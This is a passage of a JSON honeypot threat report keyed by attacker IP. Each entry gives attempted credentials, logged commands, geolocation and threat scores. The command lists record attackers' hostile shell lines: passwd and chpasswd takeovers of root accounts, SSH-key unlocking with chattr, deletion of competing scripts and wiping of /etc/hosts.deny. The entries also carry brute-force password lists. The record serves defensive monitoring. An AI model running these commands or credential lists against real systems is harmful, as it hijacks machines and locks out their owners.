        "echo \"12345678\\nwj6vUFEPYQRU\\nwj6vUFEPYQRU\\n\"|passwd",
        "echo \"123456\\ndrf5nQSTQES7\\ndrf5nQSTQES7\\n\"|passwd",
        "echo \"123\\nlxZYGZvnxaKP\\nlxZYGZvnxaKP\\n\"|passwd",
        "echo \"123\\nqVbal63eM18a\\nqVbal63eM18a\\n\"|passwd",
        "echo \"onepass\\n2uneB332UT9m\\n2uneB332UT9m\\n\"|passwd",
        "echo \"root:XvYyMVUP7vva\"|chpasswd|bash",
        "echo \"root:amkddgpL7YWn\"|chpasswd|bash",
        "echo \"root:kSGSeVPzqgO2\"|chpasswd|bash",
        "echo \"testmail123!\\nLczO6XNmSLQk\\nLczO6XNmSLQk\\n\"|passwd",
        "echo -e \"12345678\\nwj6vUFEPYQRU\\nwj6vUFEPYQRU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mau\u00e1",
      "asn": 263626,
      "as_org": "G-LAB Telecom Informatica LTDA - ME",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1003,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:28:10.494000+00:00",
        "last_seen_30d": "2026-03-26T18:49:45.547000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 849,
        "Suricata": 154
      }
    },
    "185.196.11.117": {
      "attack_count": 762,
      "first_seen": "2026-03-11T03:34:21.551Z",
      "last_seen": "2026-03-18T14:34:39.342Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "alpha",
        "bitwarden",
        "clawd",
        "docker",
        "jenkins",
        "ravi",
        "srvadmin",
        "vncuser",
        "aaa",
        "apagar",
        "api",
        "aroot",
        "asus",
        "ben",
        "csserver",
        "data",
        "debian",
        "efs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "12345",
        "159159",
        "Aa@123456",
        "Debian123",
        "Nico123!",
        "Pass@123456",
        "Redhat123",
        "admin@1234",
        "apipass",
        "bitwarden",
        "csserver",
        "gestion1234",
        "icecastpass",
        "maarch123",
        "mcserverpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nmXLSW1h6vYiw\\nmXLSW1h6vYiw\\n\"|passwd",
        "echo \"12345\\nU0tmxHf5lWm1\\nU0tmxHf5lWm1\\n\"|passwd",
        "echo \"12345\\nvJ92gVJ6JDqJ\\nvJ92gVJ6JDqJ\\n\"|passwd",
        "echo \"123\\nSavoqbdQg2dO\\nSavoqbdQg2dO\\n\"|passwd",
        "echo \"123\\niDcPl07ugfIG\\niDcPl07ugfIG\\n\"|passwd",
        "echo \"bitwarden\\n6WIdXIMIaK5d\\n6WIdXIMIaK5d\\n\"|passwd",
        "echo \"ravi\\na0QkkaSy5qZ4\\na0QkkaSy5qZ4\\n\"|passwd",
        "echo \"vncuser1234\\nlFtOO0hJmrKy\\nlFtOO0hJmrKy\\n\"|passwd",
        "echo -e \"12345678\\nmXLSW1h6vYiw\\nmXLSW1h6vYiw\"|passwd|bash",
        "echo -e \"12345\\nU0tmxHf5lWm1\\nU0tmxHf5lWm1\"|passwd|bash",
        "echo -e \"12345\\nvJ92gVJ6JDqJ\\nvJ92gVJ6JDqJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 894,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:34:21.551000+00:00",
        "last_seen_30d": "2026-03-18T14:35:42.869000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 762,
        "Suricata": 132
      }
    },
    "103.67.78.216": {
      "attack_count": 699,
      "first_seen": "2026-03-13T22:56:40.180Z",
      "last_seen": "2026-03-19T20:24:55.933Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bbb",
        "kube",
        "pro",
        "wilson",
        "work",
        "bert",
        "cody",
        "comunicacao",
        "cristi",
        "dev",
        "exx",
        "grid",
        "jellyfin",
        "kusanagi",
        "linode",
        "mata",
        "mob",
        "oguz"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345",
        "12345678",
        "1234abcd",
        "Bert123!",
        "Jellyfin123",
        "Pa$$w0rd",
        "Pro123!",
        "Qwerty123!@#",
        "Root2026",
        "Sakura123",
        "Usuarioftp123",
        "bbb123!",
        "cody123",
        "dev1234",
        "exxpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n3Q113z1Y9T8D\\n3Q113z1Y9T8D\\n\"|passwd",
        "echo \"123\\nvpxlAxmYlgxO\\nvpxlAxmYlgxO\\n\"|passwd",
        "echo \"Pro123!\\nw895Ef3cLf2u\\nw895Ef3cLf2u\\n\"|passwd",
        "echo \"bbb123!\\nxBRPmRTQGgz9\\nxBRPmRTQGgz9\\n\"|passwd",
        "echo \"root:Kv9lY0iSjNUQ\"|chpasswd|bash",
        "echo \"root:ZiLKEAuTidxB\"|chpasswd|bash",
        "echo \"root:iOaRlsPyfGc7\"|chpasswd|bash",
        "echo \"work123!\\nTVO5MKIXoxoR\\nTVO5MKIXoxoR\\n\"|passwd",
        "echo -e \"123456\\n3Q113z1Y9T8D\\n3Q113z1Y9T8D\"|passwd|bash",
        "echo -e \"123\\nvpxlAxmYlgxO\\nvpxlAxmYlgxO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 815,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T22:56:40.180000+00:00",
        "last_seen_30d": "2026-03-19T20:26:00.581000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 699,
        "Suricata": 116
      }
    },
    "43.245.249.251": {
      "attack_count": 692,
      "first_seen": "2026-03-04T03:24:00.546Z",
      "last_seen": "2026-03-20T00:18:48.318Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ben",
        "bodega",
        "jino",
        "kubernetes",
        "pilot",
        "story",
        "andres",
        "angelica",
        "angga",
        "appserver",
        "dan",
        "devman",
        "elizabeth",
        "ftpadmin",
        "lima",
        "monitoring",
        "n8n",
        "otrs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1234",
        "11111111",
        "123456",
        "1Q2w3e4r5t!",
        "Aa12341234",
        "Angga123!",
        "Asd123$",
        "Bingo@1993",
        "India@2023",
        "Js123456",
        "Lima123",
        "Patricia123",
        "Root.2025",
        "Root@12345678",
        "SiChuanLT",
        "ahmad123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nRhmRcvFdiqbN\\nRhmRcvFdiqbN\\n\"|passwd",
        "echo \"12345678\\nxD005mefJdDs\\nxD005mefJdDs\\n\"|passwd",
        "echo \"1234\\nVHuBB6lre1ek\\nVHuBB6lre1ek\\n\"|passwd",
        "echo \"123\\n0CFXkIOiGrCb\\n0CFXkIOiGrCb\\n\"|passwd",
        "echo \"ben\\nlzFCX0WGWdVU\\nlzFCX0WGWdVU\\n\"|passwd",
        "echo \"jinopass\\nvLdlfCbr3kgd\\nvLdlfCbr3kgd\\n\"|passwd",
        "echo \"root:3V7CQl6DncVK\"|chpasswd|bash",
        "echo -e \"12345678\\nRhmRcvFdiqbN\\nRhmRcvFdiqbN\"|passwd|bash",
        "echo -e \"12345678\\nxD005mefJdDs\\nxD005mefJdDs\"|passwd|bash",
        "echo -e \"1234\\nVHuBB6lre1ek\\nVHuBB6lre1ek\"|passwd|bash",
        "echo -e \"123\\n0CFXkIOiGrCb\\n0CFXkIOiGrCb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 131740,
      "as_org": "PT Smart Media Pratama",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 822,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:24:00.546000+00:00",
        "last_seen_30d": "2026-03-20T00:19:56.759000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 692,
        "Suricata": 130
      }
    },
    "162.243.175.33": {
      "attack_count": 545,
      "first_seen": "2026-03-02T18:30:36.422Z",
      "last_seen": "2026-03-02T18:42:51.712Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "bot",
        "ali",
        "a",
        "aaa",
        "bob",
        "botuser",
        "abc",
        "ams",
        "andrea",
        "anna",
        "app",
        "brian",
        "chris",
        "claude",
        "a1",
        "a1marion",
        "aa",
        "abdi"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "admin123",
        "111",
        "1234",
        "12345",
        "1234567",
        "123root",
        "4dm1n",
        "P@ssw0rd",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla",
        "abuse",
        "ace"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 769,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:30:36.422000+00:00",
        "last_seen_30d": "2026-03-02T18:44:25.957000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 545,
        "Suricata": 224
      }
    },
    "103.179.56.44": {
      "attack_count": 530,
      "first_seen": "2026-03-03T15:45:36.382Z",
      "last_seen": "2026-03-21T01:16:31.413Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "astra",
        "beehive",
        "awsuser",
        "cockpit",
        "cristi",
        "devops",
        "frappeuser",
        "plex",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "0987654321",
        "123456",
        "12345678",
        "1qazxsw2!@#",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "Abc1234!@#$",
        "Bingo@1993",
        "No123456@",
        "P@ssw0rd2025",
        "Qazwsx123456",
        "Ubuntu@123",
        "aa!2024",
        "aa@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nTD6CISPD8HnK\\nTD6CISPD8HnK\\n\"|passwd",
        "echo \"ABC!@#123\\nuPYMe6Hac9t7\\nuPYMe6Hac9t7\\n\"|passwd",
        "echo \"Ubuntu@123\\ny3d9gIik3bqL\\ny3d9gIik3bqL\\n\"|passwd",
        "echo \"astra123\\nP408S144zprr\\nP408S144zprr\\n\"|passwd",
        "echo \"root:qAIrer70l7vs\"|chpasswd|bash",
        "echo -e \"123456\\nTD6CISPD8HnK\\nTD6CISPD8HnK\"|passwd|bash",
        "echo -e \"ABC!@#123\\nuPYMe6Hac9t7\\nuPYMe6Hac9t7\"|passwd|bash",
        "echo -e \"Ubuntu@123\\ny3d9gIik3bqL\\ny3d9gIik3bqL\"|passwd|bash",
        "echo -e \"astra123\\nP408S144zprr\\nP408S144zprr\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 635,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:45:36.382000+00:00",
        "last_seen_30d": "2026-03-21T01:17:34.463000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 530,
        "Suricata": 105
      }
    },
    "27.79.5.85": {
      "attack_count": 416,
      "first_seen": "2026-03-22T19:33:04.939Z",
      "last_seen": "2026-03-22T20:05:24.579Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "support",
        "test",
        "ubnt",
        "user",
        "ace",
        "admian",
        "belkinstyle",
        "brenda",
        "btf",
        "cf1c22",
        "cisco",
        "config",
        "cpanel",
        "db2inst2",
        "ftp",
        "ftpuser",
        "guest"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "admin123",
        "039715582364317",
        "0987654321",
        "1",
        "123456",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin01",
        "administrator",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 601,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T19:33:04.939000+00:00",
        "last_seen_30d": "2026-03-22T20:06:49.367000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 185
      }
    },
    "101.36.117.234": {
      "attack_count": 361,
      "first_seen": "2026-03-13T07:18:22.479Z",
      "last_seen": "2026-03-26T20:37:56.347Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "almacen",
        "claude",
        "cliente",
        "dhiraj",
        "dp",
        "flutter",
        "javier",
        "kanban",
        "km",
        "ram",
        "taibabi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "12345678",
        "240487",
        "2411",
        "A@1234567890",
        "Aaaa1111",
        "Almacen123",
        "Kanban123",
        "Ou123456",
        "P@ssW0rd2026",
        "Passw0rd1@34",
        "Password.",
        "Qwert123321",
        "Ram123!",
        "admin1234567",
        "admin520."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Almacen123\\nA2YLouvsRMCI\\nA2YLouvsRMCI\\n\"|passwd",
        "echo \"password\\nbsa5lTMM8iky\\nbsa5lTMM8iky\\n\"|passwd",
        "echo \"root:Eg2fkEf2QvqD\"|chpasswd|bash",
        "echo -e \"Almacen123\\nA2YLouvsRMCI\\nA2YLouvsRMCI\"|passwd|bash",
        "echo -e \"password\\nbsa5lTMM8iky\\nbsa5lTMM8iky\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T07:18:22.479000+00:00",
        "last_seen_30d": "2026-03-26T20:39:03.035000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 90
      }
    },
    "196.189.155.89": {
      "attack_count": 351,
      "first_seen": "2026-03-08T05:01:09.950Z",
      "last_seen": "2026-03-26T19:17:17.790Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Admin",
        "dan",
        "home",
        "search",
        "ansible",
        "gestion",
        "huang",
        "iksi",
        "kirill",
        "minioadmin",
        "nora",
        "root",
        "sipv",
        "storage",
        "wiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "123",
        "1234",
        "12345678",
        "1qaz2wsx@@",
        "Admin1234",
        "huang",
        "iksi123",
        "password",
        "sipvpass",
        "wiki123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nGf1XB2pcOTGb\\nGf1XB2pcOTGb\\n\"|passwd",
        "echo \"12345\\n2p4NCNKT0xqC\\n2p4NCNKT0xqC\\n\"|passwd",
        "echo \"123\\ntbc7MbJhkOBt\\ntbc7MbJhkOBt\\n\"|passwd",
        "echo \"Admin1234\\nDgWKmIyXXGMJ\\nDgWKmIyXXGMJ\\n\"|passwd",
        "echo -e \"12345678\\nGf1XB2pcOTGb\\nGf1XB2pcOTGb\"|passwd|bash",
        "echo -e \"12345\\n2p4NCNKT0xqC\\n2p4NCNKT0xqC\"|passwd|bash",
        "echo -e \"123\\ntbc7MbJhkOBt\\ntbc7MbJhkOBt\"|passwd|bash",
        "echo -e \"Admin1234\\nDgWKmIyXXGMJ\\nDgWKmIyXXGMJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T05:01:09.950000+00:00",
        "last_seen_30d": "2026-03-26T19:18:22.672000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 351,
        "Suricata": 54
      }
    },
    "161.35.36.227": {
      "attack_count": 343,
      "first_seen": "2026-03-03T13:58:54.599Z",
      "last_seen": "2026-03-03T15:19:55.432Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "admin123",
        "password",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "1234567",
        "12345678",
        "123456789",
        "1234abcd",
        "123abc",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 491,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:58:54.599000+00:00",
        "last_seen_30d": "2026-03-03T15:21:05.115000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 343,
        "Suricata": 148
      }
    },
    "165.154.6.86": {
      "attack_count": 332,
      "first_seen": "2026-03-20T18:04:31.990Z",
      "last_seen": "2026-03-23T19:07:06.354Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mason",
        "modify",
        "root",
        "website",
        "ann",
        "client",
        "dylan",
        "es",
        "hadoop",
        "m1",
        "ntc",
        "omega",
        "palworld",
        "radio",
        "spotlight",
        "tecmint",
        "uno",
        "upload",
        "user8"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "123456",
        "123456789q",
        "Hadoop123",
        "Modify123",
        "Spotlight123",
        "Uno123",
        "User8123",
        "Vadim123!",
        "Valheim123!",
        "Wialon",
        "ann",
        "clientpass",
        "es123",
        "mason",
        "omega1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nQW4ZFt9ZCRDc\\nQW4ZFt9ZCRDc\\n\"|passwd",
        "echo \"Modify123\\nPNsAbmsH8mHJ\\nPNsAbmsH8mHJ\\n\"|passwd",
        "echo \"mason\\nKWaftNyZeHaU\\nKWaftNyZeHaU\\n\"|passwd",
        "echo -e \"123\\nQW4ZFt9ZCRDc\\nQW4ZFt9ZCRDc\"|passwd|bash",
        "echo -e \"Modify123\\nPNsAbmsH8mHJ\\nPNsAbmsH8mHJ\"|passwd|bash",
